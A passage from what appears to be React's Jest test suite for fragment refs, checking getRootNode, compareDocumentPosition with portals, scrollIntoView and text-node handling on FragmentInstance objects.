id=\"container\">\n            {mounted && (\n              <div ref={parentRef} id=\"parent\">\n                <React.Fragment ref={fragmentRef}>\n                  <div />\n                </React.Fragment>\n              </div>\n            )}\n          </div>\n        );\n      }\n\n      await act(() => root.render(<Test mounted={true} />));\n      expect(fragmentRef.current.getRootNode()).toBe(document);\n      const fragmentHandle = fragmentRef.current;\n      await act(() => root.render(<Test mounted={false} />));\n      // TODO: The commented out assertion is the desired behavior. For now, we return\n      // the fragment instance itself. This is currently the same behavior if you unmount\n      // the fragment but not the parent. See context above.\n      // expect(fragmentHandle.getRootNode().id).toBe(parentRefHandle.id);\n      expect(fragmentHandle.getRootNode()).toBe(fragmentHandle);\n    });\n\n    // @gate enableFragmentRefs\n    it('returns self when only the fragment was unmounted', async () => {\n      const fragmentRef = React.createRef();\n      const parentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test({mounted}) {\n        return (\n          <div ref={parentRef} id=\"parent\">\n            {mounted && (\n              <React.Fragment ref={fragmentRef}>\n                <div />\n              </React.Fragment>\n            )}\n          </div>\n        );\n      }\n\n      await act(() => root.render(<Test mounted={true} />));\n      expect(fragmentRef.current.getRootNode()).toBe(document);\n      const fragmentHandle = fragmentRef.current;\n      await act(() => root.render(<Test mounted={false} />));\n      expect(fragmentHandle.getRootNode()).toBe(fragmentHandle);\n    });\n  });\n\n  describe('compareDocumentPosition', () => {\n    function expectPosition(position, spec) {\n      const positionResult = {\n        following: (position & Node.DOCUMENT_POSITION_FOLLOWING) !== 0,\n        preceding: (position & Node.DOCUMENT_POSITION_PRECEDING) !== 0,\n        contains: (position & Node.DOCUMENT_POSITION_CONTAINS) !== 0,\n        containedBy: (position & Node.DOCUMENT_POSITION_CONTAINED_BY) !== 0,\n        disconnected: (position & Node.DOCUMENT_POSITION_DISCONNECTED) !== 0,\n        implementationSpecific:\n          (position & Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC) !== 0,\n      };\n      expect(positionResult).toEqual(spec);\n    }\n    // @gate enableFragmentRefs\n    it('returns the relationship between the fragment instance and a given node', async () => {\n      const fragmentRef = React.createRef();\n      const beforeRef = React.createRef();\n      const afterRef = React.createRef();\n      const middleChildRef = React.createRef();\n      const firstChildRef = React.createRef();\n      const lastChildRef = React.createRef();\n      const containerRef = React.createRef();\n      const disconnectedElement = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test() {\n        return (\n          <div ref={containerRef} id=\"container\">\n            <div ref={beforeRef} id=\"before\" />\n            <React.Fragment ref={fragmentRef}>\n              <div ref={firstChildRef} id=\"first\" />\n              <div ref={middleChildRef} id=\"middle\" />\n              <div ref={lastChildRef} id=\"last\" />\n            </React.Fragment>\n            <div ref={afterRef} id=\"after\" />\n          </div>\n        );\n      }\n\n      await act(() => root.render(<Test />));\n\n      // document.body is preceding and contains the fragment\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(document.body),\n        {\n          preceding: true,\n          following: false,\n          contains: true,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      // beforeRef is preceding the fragment\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(beforeRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      // afterRef is following the fragment\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(afterRef.current),\n        {\n          preceding: false,\n          following: true,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      // firstChildRef is contained by the fragment\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(firstChildRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: true,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      // middleChildRef is contained by the fragment\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(middleChildRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: true,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      // lastChildRef is contained by the fragment\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(lastChildRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: true,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      // containerRef precedes and contains the fragment\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(containerRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: true,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(disconnectedElement),\n        {\n          preceding: false,\n          following: true,\n          contains: false,\n          containedBy: false,\n          disconnected: true,\n          implementationSpecific: true,\n        },\n      );\n    });\n\n    // @gate enableFragmentRefs\n    it('handles fragment instances with one child', async () => {\n      const fragmentRef = React.createRef();\n      const beforeRef = React.createRef();\n      const afterRef = React.createRef();\n      const containerRef = React.createRef();\n      const onlyChildRef = React.createRef();\n      const disconnectedElement = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test() {\n        return (\n          <div id=\"container\" ref={containerRef}>\n            <div id=\"innercontainer\">\n              <div ref={beforeRef} id=\"before\" />\n              <React.Fragment ref={fragmentRef}>\n                <div ref={onlyChildRef} id=\"within\" />\n              </React.Fragment>\n              <div id=\"after\" ref={afterRef} />\n            </div>\n          </div>\n        );\n      }\n\n      await act(() => root.render(<Test />));\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(beforeRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(afterRef.current),\n        {\n          preceding: false,\n          following: true,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(onlyChildRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: true,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(containerRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: true,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(disconnectedElement),\n        {\n          preceding: false,\n          following: true,\n          contains: false,\n          containedBy: false,\n          disconnected: true,\n          implementationSpecific: true,\n        },\n      );\n    });\n\n    // @gate enableFragmentRefs\n    it('handles empty fragment instances', async () => {\n      const fragmentRef = React.createRef();\n      const beforeParentRef = React.createRef();\n      const beforeRef = React.createRef();\n      const afterRef = React.createRef();\n      const afterParentRef = React.createRef();\n      const containerRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test() {\n        return (\n          <>\n            <div id=\"before-container\" ref={beforeParentRef} />\n            <div id=\"container\" ref={containerRef}>\n              <div id=\"before\" ref={beforeRef} />\n              <React.Fragment ref={fragmentRef} />\n              <div id=\"after\" ref={afterRef} />\n            </div>\n            <div id=\"after-container\" ref={afterParentRef} />\n          </>\n        );\n      }\n\n      await act(() => root.render(<Test />));\n\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(document.body),\n        {\n          preceding: true,\n          following: false,\n          contains: true,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(beforeRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(beforeParentRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(afterRef.current),\n        {\n          preceding: false,\n          following: true,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(afterParentRef.current),\n        {\n          preceding: false,\n          following: true,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(containerRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: true,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n    });\n\n    // @gate enableFragmentRefs\n    it('handles nested children', async () => {\n      const fragmentRef = React.createRef();\n      const nestedFragmentRef = React.createRef();\n      const childARef = React.createRef();\n      const childBRef = React.createRef();\n      const childCRef = React.createRef();\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n\n      function Child() {\n        return (\n          <div ref={childCRef} id=\"C\">\n            C\n          </div>\n        );\n      }\n\n      function Test() {\n        return (\n          <React.Fragment ref={fragmentRef}>\n            <div ref={childARef} id=\"A\">\n              A\n            </div>\n            <React.Fragment ref={nestedFragmentRef}>\n              <div ref={childBRef} id=\"B\">\n                B\n              </div>\n            </React.Fragment>\n            <Child />\n          </React.Fragment>\n        );\n      }\n\n      await act(() => root.render(<Test />));\n\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(childARef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: true,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(childBRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: true,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n      expectPosition(\n        fragmentRef.current.compareDocumentPosition(childCRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: true,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n    });\n\n    // @gate enableFragmentRefs\n    it('returns disconnected for comparison with an unmounted fragment instance', async () => {\n      const fragmentRef = React.createRef();\n      const containerRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test({mount}) {\n        return (\n          <div ref={containerRef}>\n            {mount && (\n              <Fragment ref={fragmentRef}>\n                <div />\n              </Fragment>\n            )}\n          </div>\n        );\n      }\n\n      await act(() => root.render(<Test mount={true} />));\n\n      const fragmentHandle = fragmentRef.current;\n\n      expectPosition(\n        fragmentHandle.compareDocumentPosition(containerRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: true,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      await act(() => {\n        root.render(<Test mount={false} />);\n      });\n\n      expectPosition(\n        fragmentHandle.compareDocumentPosition(containerRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: false,\n          disconnected: true,\n          implementationSpecific: false,\n        },\n      );\n    });\n\n    // @gate enableFragmentRefs\n    it('compares a root-level Fragment', async () => {\n      const fragmentRef = React.createRef();\n      const emptyFragmentRef = React.createRef();\n      const childRef = React.createRef();\n      const siblingPrecedingRef = React.createRef();\n      const siblingFollowingRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test() {\n        return (\n          <Fragment>\n            <div ref={siblingPrecedingRef} />\n            <Fragment ref={fragmentRef}>\n              <div ref={childRef} />\n            </Fragment>\n            <Fragment ref={emptyFragmentRef} />\n            <div ref={siblingFollowingRef} />\n          </Fragment>\n        );\n      }\n\n      await act(() => root.render(<Test />));\n\n      const fragmentInstance = fragmentRef.current;\n      if (fragmentInstance == null) {\n        throw new Error('Expected fragment instance to be non-null');\n      }\n      const emptyFragmentInstance = emptyFragmentRef.current;\n      if (emptyFragmentInstance == null) {\n        throw new Error('Expected empty fragment instance to be non-null');\n      }\n\n      expectPosition(\n        fragmentInstance.compareDocumentPosition(childRef.current),\n        {\n          preceding: false,\n          following: false,\n          contains: false,\n          containedBy: true,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      expectPosition(\n        fragmentInstance.compareDocumentPosition(siblingPrecedingRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      expectPosition(\n        fragmentInstance.compareDocumentPosition(siblingFollowingRef.current),\n        {\n          preceding: false,\n          following: true,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: false,\n        },\n      );\n\n      expectPosition(\n        emptyFragmentInstance.compareDocumentPosition(childRef.current),\n        {\n          preceding: true,\n          following: false,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n\n      expectPosition(\n        emptyFragmentInstance.compareDocumentPosition(\n          siblingPrecedingRef.current,\n        ),\n        {\n          preceding: true,\n          following: false,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n\n      expectPosition(\n        emptyFragmentInstance.compareDocumentPosition(\n          siblingFollowingRef.current,\n        ),\n        {\n          preceding: false,\n          following: true,\n          contains: false,\n          containedBy: false,\n          disconnected: false,\n          implementationSpecific: true,\n        },\n      );\n    });\n\n    describe('with portals', () => {\n      // @gate enableFragmentRefs\n      it('handles portaled elements', async () => {\n        const fragmentRef = React.createRef();\n        const portaledSiblingRef = React.createRef();\n        const portaledChildRef = React.createRef();\n\n        function Test() {\n          return (\n            <div id=\"wrapper\">\n              {createPortal(<div ref={portaledSiblingRef} id=\"A\" />, container)}\n              <Fragment ref={fragmentRef}>\n                {createPortal(<div ref={portaledChildRef} id=\"B\" />, container)}\n                <div id=\"C\" />\n              </Fragment>\n            </div>\n          );\n        }\n\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => root.render(<Test />));\n\n        // The sibling is preceding in both the DOM and the React tree\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(\n            portaledSiblingRef.current,\n          ),\n          {\n            preceding: true,\n            following: false,\n            contains: false,\n            containedBy: false,\n            disconnected: false,\n            implementationSpecific: false,\n          },\n        );\n\n        // The child is contained by in the React tree but not in the DOM\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(portaledChildRef.current),\n          {\n            preceding: false,\n            following: false,\n            contains: false,\n            containedBy: false,\n            disconnected: false,\n            implementationSpecific: true,\n          },\n        );\n      });\n\n      // @gate enableFragmentRefs\n      it('handles multiple portals to the same element', async () => {\n        const root = ReactDOMClient.createRoot(container);\n        const fragmentRef = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n        const childCRef = React.createRef();\n        const childDRef = React.createRef();\n        const childERef = React.createRef();\n\n        function Test() {\n          const [c, setC] = React.useState(false);\n          React.useEffect(() => {\n            setC(true);\n          });\n\n          return (\n            <>\n              {createPortal(\n                <Fragment ref={fragmentRef}>\n                  <div id=\"A\" ref={childARef} />\n                  {c ? (\n                    <div id=\"C\" ref={childCRef}>\n                      <div id=\"D\" ref={childDRef} />\n                    </div>\n                  ) : null}\n                </Fragment>,\n                document.body,\n              )}\n              {createPortal(<p id=\"B\" ref={childBRef} />, document.body)}\n              <div id=\"E\" ref={childERef} />\n            </>\n          );\n        }\n\n        await act(() => root.render(<Test />));\n\n        // Due to effect, order is E / A->B->C->D\n        expect(document.body.outerHTML).toBe(\n          '<body>' +\n            '<div><div id=\"E\"></div></div>' +\n            '<div id=\"A\"></div>' +\n            '<p id=\"B\"></p>' +\n            '<div id=\"C\"><div id=\"D\"></div></div>' +\n            '</body>',\n        );\n\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(document.body),\n          {\n            preceding: true,\n            following: false,\n            contains: true,\n            containedBy: false,\n            disconnected: false,\n            implementationSpecific: false,\n          },\n        );\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(childARef.current),\n          {\n            preceding: false,\n            following: false,\n            contains: false,\n            containedBy: true,\n            disconnected: false,\n            implementationSpecific: false,\n          },\n        );\n        // Contained by in DOM, but following in React tree\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(childBRef.current),\n          {\n            preceding: false,\n            following: false,\n            contains: false,\n            containedBy: false,\n            disconnected: false,\n            implementationSpecific: true,\n          },\n        );\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(childCRef.current),\n          {\n            preceding: false,\n            following: false,\n            contains: false,\n            containedBy: true,\n            disconnected: false,\n            implementationSpecific: false,\n          },\n        );\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(childDRef.current),\n          {\n            preceding: false,\n            following: false,\n            contains: false,\n            containedBy: true,\n            disconnected: false,\n            implementationSpecific: false,\n          },\n        );\n        // Preceding DOM but following in React tree\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(childERef.current),\n          {\n            preceding: false,\n            following: false,\n            contains: false,\n            containedBy: false,\n            disconnected: false,\n            implementationSpecific: true,\n          },\n        );\n      });\n\n      // @gate enableFragmentRefs\n      it('handles empty fragments', async () => {\n        const fragmentRef = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n\n        function Test() {\n          return (\n            <>\n              <div id=\"A\" ref={childARef} />\n              {createPortal(<Fragment ref={fragmentRef} />, document.body)}\n              <div id=\"B\" ref={childBRef} />\n            </>\n          );\n        }\n\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => root.render(<Test />));\n\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(document.body),\n          {\n            preceding: true,\n            following: false,\n            contains: true,\n            containedBy: false,\n            disconnected: false,\n            implementationSpecific: true,\n          },\n        );\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(childARef.current),\n          {\n            preceding: true,\n            following: false,\n            contains: false,\n            containedBy: false,\n            disconnected: false,\n            implementationSpecific: true,\n          },\n        );\n        expectPosition(\n          fragmentRef.current.compareDocumentPosition(childBRef.current),\n          {\n            preceding: true,\n            following: false,\n            contains: false,\n            containedBy: false,\n            disconnected: false,\n            implementationSpecific: true,\n          },\n        );\n      });\n    });\n  });\n\n  describe('scrollIntoView', () => {\n    function expectLast(arr, test) {\n      expect(arr[arr.length - 1]).toBe(test);\n    }\n    // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView\n    it('does not yet support options', async () => {\n      const fragmentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Fragment ref={fragmentRef} />);\n      });\n\n      expect(() => {\n        fragmentRef.current.scrollIntoView({block: 'start'});\n      }).toThrowError(\n        'FragmentInstance.scrollIntoView() does not support ' +\n          'scrollIntoViewOptions. Use the alignToTop boolean instead.',\n      );\n    });\n\n    describe('with children', () => {\n      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView\n      it('settles scroll on the first child by default, or if alignToTop=true', async () => {\n        const fragmentRef = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            <React.Fragment ref={fragmentRef}>\n              <div ref={childARef} id=\"a\">\n                A\n              </div>\n              <div ref={childBRef} id=\"b\">\n                B\n              </div>\n            </React.Fragment>,\n          );\n        });\n\n        let logs = [];\n        childARef.current.scrollIntoView = jest.fn().mockImplementation(() => {\n          logs.push('childA');\n        });\n        childBRef.current.scrollIntoView = jest.fn().mockImplementation(() => {\n          logs.push('childB');\n        });\n\n        // Default call\n        fragmentRef.current.scrollIntoView();\n        expectLast(logs, 'childA');\n        logs = [];\n        // alignToTop=true\n        fragmentRef.current.scrollIntoView(true);\n        expectLast(logs, 'childA');\n      });\n\n      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView\n      it('calls scrollIntoView on the last child if alignToTop is false', async () => {\n        const fragmentRef = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            <Fragment ref={fragmentRef}>\n              <div ref={childARef}>A</div>\n              <div ref={childBRef}>B</div>\n            </Fragment>,\n          );\n        });\n\n        const logs = [];\n        childARef.current.scrollIntoView = jest.fn().mockImplementation(() => {\n          logs.push('childA');\n        });\n        childBRef.current.scrollIntoView = jest.fn().mockImplementation(() => {\n          logs.push('childB');\n        });\n\n        fragmentRef.current.scrollIntoView(false);\n        expectLast(logs, 'childB');\n      });\n\n      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView\n      it('handles portaled elements -- same scroll container', async () => {\n        const fragmentRef = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              {createPortal(\n                <div ref={childARef} id=\"child-a\">\n                  A\n                </div>,\n                document.body,\n              )}\n\n              <div ref={childBRef} id=\"child-b\">\n                B\n              </div>\n            </Fragment>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        const logs = [];\n        childARef.current.scrollIntoView = jest.fn().mockImplementation(() => {\n          logs.push('childA');\n        });\n        childBRef.current.scrollIntoView = jest.fn().mockImplementation(() => {\n          logs.push('childB');\n        });\n\n        // Default call\n        fragmentRef.current.scrollIntoView();\n        expectLast(logs, 'childA');\n      });\n\n      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView\n      it('handles portaled elements -- different scroll container', async () => {\n        const fragmentRef = React.createRef();\n        const headerChildRef = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n        const childCRef = React.createRef();\n        const scrollContainerRef = React.createRef();\n        const scrollContainerNestedRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test({mountFragment}) {\n          return (\n            <>\n              <div id=\"header\" style={{position: 'fixed'}}>\n                <div id=\"parent-a\" />\n              </div>\n              <div id=\"parent-b\" />\n              <div\n                id=\"scroll-container\"\n                ref={scrollContainerRef}\n                style={{overflow: 'scroll'}}>\n                <div id=\"parent-c\" />\n                <div\n                  id=\"scroll-container-nested\"\n                  ref={scrollContainerNestedRef}\n                  style={{overflow: 'scroll'}}>\n                  <div id=\"parent-d\" />\n                </div>\n              </div>\n              {mountFragment && (\n                <Fragment ref={fragmentRef}>\n                  {createPortal(\n                    <div ref={headerChildRef} id=\"header-content\">\n                      Header\n                    </div>,\n                    document.querySelector('#parent-a'),\n                  )}\n                  {createPortal(\n                    <div ref={childARef} id=\"child-a\">\n                      A\n                    </div>,\n                    document.querySelector('#parent-b'),\n                  )}\n                  {createPortal(\n                    <div ref={childBRef} id=\"child-b\">\n                      B\n                    </div>,\n                    document.querySelector('#parent-b'),\n                  )}\n                  {createPortal(\n                    <div ref={childCRef} id=\"child-c\">\n                      C\n                    </div>,\n                    document.querySelector('#parent-c'),\n                  )}\n                </Fragment>\n              )}\n            </>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test mountFragment={false} />);\n        });\n        // Now that the portal locations exist, mount the fragment\n        await act(() => {\n          root.render(<Test mountFragment={true} />);\n        });\n\n        let logs = [];\n        headerChildRef.current.scrollIntoView = jest.fn(() => {\n          logs.push('header');\n        });\n        childARef.current.scrollIntoView = jest.fn(() => {\n          logs.push('A');\n        });\n        childBRef.current.scrollIntoView = jest.fn(() => {\n          logs.push('B');\n        });\n        childCRef.current.scrollIntoView = jest.fn(() => {\n          logs.push('C');\n        });\n\n        // Default call\n        fragmentRef.current.scrollIntoView();\n        expectLast(logs, 'header');\n\n        childARef.current.scrollIntoView.mockClear();\n        childBRef.current.scrollIntoView.mockClear();\n        childCRef.current.scrollIntoView.mockClear();\n\n        logs = [];\n\n        // // alignToTop=false\n        fragmentRef.current.scrollIntoView(false);\n        expectLast(logs, 'C');\n      });\n    });\n\n    describe('without children', () => {\n      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView\n      it('calls scrollIntoView on the next sibling by default, or if alignToTop=true', async () => {\n        const fragmentRef = React.createRef();\n        const siblingARef = React.createRef();\n        const siblingBRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            <div>\n              <Wrapper>\n                <div ref={siblingARef} />\n              </Wrapper>\n              <Fragment ref={fragmentRef} />\n              <div ref={siblingBRef} />\n            </div>,\n          );\n        });\n\n        siblingARef.current.scrollIntoView = jest.fn();\n        siblingBRef.current.scrollIntoView = jest.fn();\n\n        // Default call\n        fragmentRef.current.scrollIntoView();\n        expect(siblingARef.current.scrollIntoView).toHaveBeenCalledTimes(0);\n        expect(siblingBRef.current.scrollIntoView).toHaveBeenCalledTimes(1);\n\n        siblingBRef.current.scrollIntoView.mockClear();\n\n        // alignToTop=true\n        fragmentRef.current.scrollIntoView(true);\n        expect(siblingARef.current.scrollIntoView).toHaveBeenCalledTimes(0);\n        expect(siblingBRef.current.scrollIntoView).toHaveBeenCalledTimes(1);\n      });\n\n      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView\n      it('calls scrollIntoView on the prev sibling if alignToTop is false', async () => {\n        const fragmentRef = React.createRef();\n        const siblingARef = React.createRef();\n        const siblingBRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n        function C() {\n          return (\n            <Wrapper>\n              <div id=\"C\" ref={siblingARef} />\n            </Wrapper>\n          );\n        }\n        function Test() {\n          return (\n            <div id=\"A\">\n              <div id=\"B\" />\n              <C />\n              <Fragment ref={fragmentRef} />\n              <div id=\"D\" ref={siblingBRef} />\n              <div id=\"E\" />\n            </div>\n          );\n        }\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        siblingARef.current.scrollIntoView = jest.fn();\n        siblingBRef.current.scrollIntoView = jest.fn();\n\n        // alignToTop=false\n        fragmentRef.current.scrollIntoView(false);\n        expect(siblingARef.current.scrollIntoView).toHaveBeenCalledTimes(1);\n        expect(siblingBRef.current.scrollIntoView).toHaveBeenCalledTimes(0);\n      });\n\n      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView\n      it('calls scrollIntoView on the parent if there are no siblings', async () => {\n        const fragmentRef = React.createRef();\n        const parentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            <div ref={parentRef}>\n              <Wrapper>\n                <Fragment ref={fragmentRef} />\n              </Wrapper>\n            </div>,\n          );\n        });\n\n        parentRef.current.scrollIntoView = jest.fn();\n        fragmentRef.current.scrollIntoView();\n        expect(parentRef.current.scrollIntoView).toHaveBeenCalledTimes(1);\n      });\n    });\n  });\n\n  describe('with text nodes', () => {\n    // @gate enableFragmentRefs && enableFragmentRefsTextNodes\n    it('getClientRects includes text node bounds', async () => {\n      const restoreRange = mockRangeClientRects([\n        {x: 0, y: 0, width: 80, height: 16},\n      ]);\n      const fragmentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() =>\n        root.render(\n          <div>\n            <Fragment ref={fragmentRef}>Hello World</Fragment>\n          </div>,\n        ),\n      );\n\n      const rects = fragmentRef.current.getClientRects();\n      expect(rects.length).toBe(1);\n      expect(rects[0].width).toBe(80);\n      restoreRange();\n    });\n\n    // @gate enableFragmentRefs && enableFragmentRefsTextNodes\n    it('getClientRects includes both text and element bounds', async () => {\n      const restoreRange = mockRangeClientRects([\n        {x: 0, y: 0, width: 60, height: 16},\n      ]);\n      const fragmentRef = React.createRef();\n      const childRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() =>\n        root.render(\n          <div>\n            <Fragment ref={fragmentRef}>\n              Text before\n              <div ref={childRef}>Element</div>\n              Text after\n            </Fragment>\n          </div>,\n        ),\n      );\n\n      setClientRects(childRef.current, [\n        {x: 10, y: 10, width: 100, height: 20},\n      ]);\n      const rects = fragmentRef.current.getClientRects();\n      // Should have rects from 2 text nodes + 1 element = 3 total\n      expect(rects.length).toBe(3);\n      restoreRange();\n    });\n\n    // @gate enableFragmentRefs\n    it('compareDocumentPosition works with text children', async () => {\n      const fragmentRef = React.createRef();\n      const beforeRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() =>\n        root.render(\n          <div>\n            <div ref={beforeRef} />\n            <Fragment ref={fragmentRef}>Text content</Fragment>\n          </div>,\n        ),\n      );\n\n      const position = fragmentRef.current.compareDocumentPosition(\n        beforeRef.current,\n      );\n      expect(position & Node.DOCUMENT_POSITION_PRECEDING).toBeTruthy();\n    });\n\n    // @gate enableFragmentRefs\n    it('focus is a no-op on text-only fragment', async () => {\n      const fragmentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() =>\n        root.render(\n          <div>\n            <Fragment ref={fragmentRef}>Text only content</Fragment>\n          </div>,\n        ),\n      );\n\n      // Should not throw or warn - just a silent no-op\n      fragmentRef.current.focus();\n      // Test passes if no error is thrown\n    });\n\n    // @gate enableFragmentRefs\n    it('focusLast is a no-op on text-only fragment', async () => {\n      const fragmentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() =>\n        root.render(\n          <div>\n            <Fragment ref={fragmentRef}>Text only content</Fragment>\n          </div>,\n        ),\n      );\n\n      // Should not throw or warn - just a silent no-op\n      fragmentRef.current.focusLast();\n    });\n\n    // @gate enableFragmentRefs && enableFragmentRefsTextNodes\n    it('warns when observeUsing is called on text-only fragment', async () => {\n      mockIntersectionObserver();\n      const fragmentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() =>\n        root.render(\n          <div>\n            <Fragment ref={fragmentRef}>Text only content</Fragment>\n          </div>,\n        ),\n      );\n\n      const observer = new IntersectionObserver(() => {});\n      fragmentRef.current.observeUsing(observer);\n      assertConsoleErrorDev(\n        [\n          'observeUsing() was called on a FragmentInstance with only text children. ' +\n            'Observers do not work on text nodes.',\n        ],\n        {withoutStack: true},\n      );\n    });\n\n    // @gate enableFragmentRefs && 